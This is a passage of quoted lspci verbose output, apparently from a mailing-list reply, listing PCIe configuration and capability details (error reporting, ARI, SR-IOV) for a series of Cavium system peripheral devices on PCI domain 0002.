> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fa
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:09:00.0 System peripheral: Cavium, Inc. Device a0f9 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 848200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc900000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1024 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fa
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:0a:00.0 System peripheral: Cavium, Inc. Device a0f9 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 849200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fc980000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1024 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fa
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:0b:00.0 System peripheral: Cavium, Inc. Device a0f9 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 84a200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fca00000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1024 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fa
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:0c:00.0 System peripheral: Cavium, Inc. Device a0f9 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 84b200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fca80000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1024 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fa
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:0d:00.0 System peripheral: Cavium, Inc. Device a0f9 (rev 54)
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 84c200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fcb00000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1024 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0fa
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:0e:00.0 System peripheral: Cavium, Inc. Device a0f0
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 84d200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fcb80000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0f1
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:0f:00.0 System peripheral: Cavium, Inc. Device a0f0
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 84e200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fcc00000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 0
> ARICtl: MFVC- ACS-, Function Group: 0
> Capabilities: [180 v1] Single Root I/O Virtualization (SR-IOV)
> IOVCap: Migration-, Interrupt Message Number: 000
> IOVCtl: Enable- Migration- Interrupt- MSE+ ARIHierarchy+
> IOVSta: Migration-
> Initial VFs: 0, Total VFs: 0, Number of VFs: 0, Function Dependency Link: 00
> VF offset: 1, stride: 1, Device ID: a0f1
> Supported Page Size: 00000553, System Page Size: 00000100
> VF Migration: offset: 00000000, BIR: 0
>
> 0002:10:00.0 System peripheral: Cavium, Inc. Device a0f0
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 2: [virtual] Memory at 84f200000000 (32-bit, non-prefetchable) [size=32M]
> Region 4: [virtual] Memory at 9fcc80000 (32-bit, non-prefetchable) [size=512K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset+
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- FLReset-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkCtl2: Target Link Speed: 2.5GT/s, EnterCompliance- SpeedDis-
> Transmit Margin: Normal Operating Range, EnterModifiedCompliance- ComplianceSOS-
> Compliance De-emphasis: -6dB
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=210 Masked-
> Vector table: BAR=2 offset=00080000
> PBA: BAR=2 offset=000f0000
> Capabilities: [98] #14 [0004]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
